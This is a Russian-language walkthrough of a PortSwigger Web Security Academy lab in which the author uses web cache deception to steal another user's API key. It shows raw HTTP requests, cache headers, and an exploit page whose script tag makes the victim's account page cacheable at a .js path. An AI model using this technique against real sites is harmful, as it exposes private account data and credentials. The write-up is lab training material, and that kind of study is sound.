Для прохождения лабы нужно найти API-ключи пользователя carlos с помощью Web cache deception.

Для входа в свою учетную запись можно использовать креды wiener:peter.

https://0a4a00610336ce2980e930f900af00b2.web-security-academy.net/

Solution

Для начала зайду в свой аккаунт:

IMG

Аккаунт находится на ендпоинте /my-account. Попробую добавить рандомный путь /foo:

IMG

Ответ остался тем же. Перейду в Burp Suite, чтобы посмотреть на заголовки запросов:

GET /my-account/foo HTTP/2
Host: 0a4a00610336ce2980e930f900af00b2.web-security-academy.net
Cookie: session=cpyLVwGogGdTEue1LibfmS6nckRPPupq
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Попробую добавить расширение .js, чтобы проверить, будет ли кэширован ответ:

GET /my-account/foo.js HTTP/2
Host: 0a4a00610336ce2980e930f900af00b2.web-security-academy.net
Cookie: session=cpyLVwGogGdTEue1LibfmS6nckRPPupq
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: traile

Ответ:

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 3824

...

В ответе можно увидеть поля X-Cache: miss и Age: 0. Это означает, что мой запрос был кэширован. Теперь создам эксплойт, который отправим жертве. Для этого мне нужно перейти на выданный Port Swigger Academy эксплойт сервер.

IMG

А теперь подробнее. Данная ссылка будет отправлена жертве:

IMG

Тут можно увидеть имя файла, котрый будет скачан жертвой. И то, какой ответ на данный запрос будет получен. В данном примере я решил отправить .html файл, в котором содержится js скрипт <script src='https://0a4a00610336ce2980e930f900af00b2.web-security-academy.net/my-account/secondtry.js'></script>. Путь файла заканчивается на /secondtry.js. На данный запрос жертва получит страницу своего аккаунта, которая будет кэширована. А значит, я смогу получить доступ к информации из аккаунта. По имени файла secondtry.js можно понять, что получилось у меня это не с первой попытки…

IMG

Итак. Клацаю кнопку взломать все и вся Deliver exploit to victim. Далее пробую перейти по ссылке https://0a4a00610336ce2980e930f900af00b2.web-security-academy.net/my-account/secondtry.js.

IMG

Пуф, и API-ключ получен. Сдам его… верификатору.

IMG